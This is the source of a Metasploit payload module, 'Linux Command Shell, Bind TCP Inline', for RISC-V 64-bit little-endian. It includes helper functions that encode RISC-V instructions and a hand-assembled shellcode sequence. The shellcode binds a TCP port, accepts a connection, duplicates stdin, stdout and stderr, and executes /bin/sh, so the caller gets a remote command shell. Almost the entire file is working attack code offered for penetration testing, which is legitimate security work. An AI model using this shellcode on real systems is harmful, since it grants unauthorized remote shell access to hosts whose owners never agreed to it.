Path: blob/master/modules/payloads/singles/linux/riscv64le/shell_bind_tcp.rb
28811 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 16478include Msf::Payload::Single9include Msf::Payload::Linux10include Msf::Sessions::CommandShellOptions1112SYS_SOCKET = 19813SYS_BIND = 20014SYS_LISTEN = 20115SYS_ACCEPT = 20216SYS_DUP3 = 2417SYS_EXECVE = 22118AF_INET = 219SOCK_STREAM = 120IPPROTO_IP = 02122def initialize(info = {})23super(24merge_info(25info,26'Name' => 'Linux Command Shell, Bind TCP Inline',27'Description' => 'Listen for a connection and spawn a command shell',28'Author' => [29'modexp', # bind.s execve RISC-V 64-bit shellcode30'bcoles', # metasploit31],32'License' => BSD_LICENSE,33'Platform' => 'linux',34'Arch' => [ ARCH_RISCV64LE ],35'References' => [36['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'],37['URL', 'https://web.archive.org/web/20230326161514/https://github.com/odzhan/shellcode/commit/d3ee25a6ebcdd21a21d0e6eccc979e45c24a9a1d'],38],39'Handler' => Msf::Handler::BindTcp,40'Session' => Msf::Sessions::CommandShellUnix41)42)43end4445# Encode a RISC-V ADDI (Add Immediate) instruction46def encode_addi(rd, rs1, imm12)47opcode = 0b001001148funct3 = 0b00049imm = imm12 & 0xfff50(imm << 20) | (rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode51end5253# Encode a RISC-V LUI (Load Upper Immediate) instruction54def encode_lui(rd, imm20)550b0110111 | ((imm20 & 0xfffff) << 12) | (rd << 7)56end5758# Encode a RISC-V SLLI (Shift Left Logical Immediate) instruction59def encode_slli(rd, rs1, shamt)60opcode = 0b001001161funct3 = 0b00162funct6 = 0b00000063((funct6 & 0x3f) << 26) | ((shamt & 0x3f) << 20) |64(rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode65end6667# Encode a RISC-V OR instruction (rd = rs1 OR rs2).68def encode_or(rd, rs1, rs2)69opcode = 0b011001170funct3 = 0b11071funct7 = 0b000000072(funct7 << 25) | (rs2 << 20) | (rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode73end7475# Emit RISC-V instruction words that build an arbitrary 64-bit constant in a chosen register using SLLI+LUI+ADDI76# Note: modifies x6 register77def load_const_into_reg64(const, rd)78raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer)7980max_const = (1 << 64) - 18182raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const)8384# Split into 32‑bit halves85hi = const >> 3286lo = const & 0xFFFF_FFFF8788# Load high half89[90*load_const_into_reg32(hi, rd),91*encode_slli(rd, rd, 32),92*load_const_into_reg32(lo, 6),93*encode_or(rd, rd, 6),94]95end9697# Emit RISC-V instruction words that build an arbitrary 32-bit constant in a chosen register using LUI+ADDI.98def load_const_into_reg32(const, rd)99raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer)100101max_const = 0xFFFF_FFFF102103raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const)104105if const >= -2048 && const <= 2047106return [encode_addi(rd, 0, const)]107end108109upper = (const + 0x800) >> 12110low = const & 0xfff111[112encode_lui(rd, upper),113encode_addi(rd, rd, low)114]115end116117def generate(_opts = {})118return super unless datastore['LPORT']119120lport = datastore['LPORT'].to_i121sockaddr_word = AF_INET | ([lport].pack('n').unpack1('v') << 16)122123shellcode = [124# prepare stack1250xff010113, # addi sp,sp,-16126127# s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);128*load_const_into_reg32(SYS_SOCKET, 17), # li a7,198 # SYS_socket129*load_const_into_reg32(IPPROTO_IP, 12), # li a2,0 # IPPROTO_IP130*load_const_into_reg32(SOCK_STREAM, 11), # li a1,1 # SOCK_STREAM131*load_const_into_reg32(AF_INET, 10), # li a0,2 # AF_INET1320x00000073, # ecall133134# bind(s, &sa, sizeof(sa));1350x00050693, # mv a3,a0 # a3 = s136*load_const_into_reg32(SYS_BIND, 17), # li a7,200 # SYS_bind137*load_const_into_reg32(16, 12), # li a2,16 # sizeof(sockaddr_in)138*load_const_into_reg32(sockaddr_word, 11), # li a1,<packed> # sin_family=AF_INET, sin_port=port, sin_addr=INADDR_ANY1390x00b13023, # sd a1,0(sp) # store first 8 bytes (family+port+addr) at stack1400x00013423, # sd 0,8(sp) # sin_zero1410x00010593, # mv a1,sp # a1 = &sa1420x00000073, # ecall143144# listen(s, 1);145*load_const_into_reg32(SYS_LISTEN, 17), # li a7,201 # SYS_listen1460x00100593, # li a1,1 # backlog = 11470x00068513, # mv a0,a3 # a0 = s1480x00000073, # ecall149150# r = accept(s, 0, 0);151*load_const_into_reg32(SYS_ACCEPT, 17), # li a7,202 # SYS_accept1520x00000613, # li a2,0 # addrlen = NULL1530x00000593, # li a1,0 # addr = NULL1540x00068513, # mv a0,a3 # a0 = s1550x00000073, # ecall156157# dup stdin/stdout/stderr1580x00050713, # mv a4,a0159*load_const_into_reg32(SYS_DUP3, 17), # li a7,24 # SYS_dup3160*load_const_into_reg32(3, 11), # li a1,3 # start from STDERR_FILENO + 1 = 3161# c_dup:1620x00070513, # mv a0,a41630xfff58593, # addi a1,a1,-11640x00000073, # ecall1650xfe059ae3, # bnez a1,100ec <c_dup>166167# execve("/bin/sh", NULL, NULL);168*load_const_into_reg32(SYS_EXECVE, 17), # SYS_execve1690x34399537, # lui a0,0x343991700x7b75051b, # addiw a0,a0,19751710x00c51513, # slli a0,a0,0xc1720x34b50513, # addi a0,a0,8431730x00d51513, # slli a0,a0,0xd1740x22f50513, # addi a0,a0,5591750x00a13023, # sd a0,0(sp)1760x00010513, # mv a0,sp1770x00000073 # ecall178].pack('V*')179180# align our shellcode to 4 bytes181shellcode += "\x00" while shellcode.bytesize % 4 != 0182183super.to_s + shellcode184end185end186187188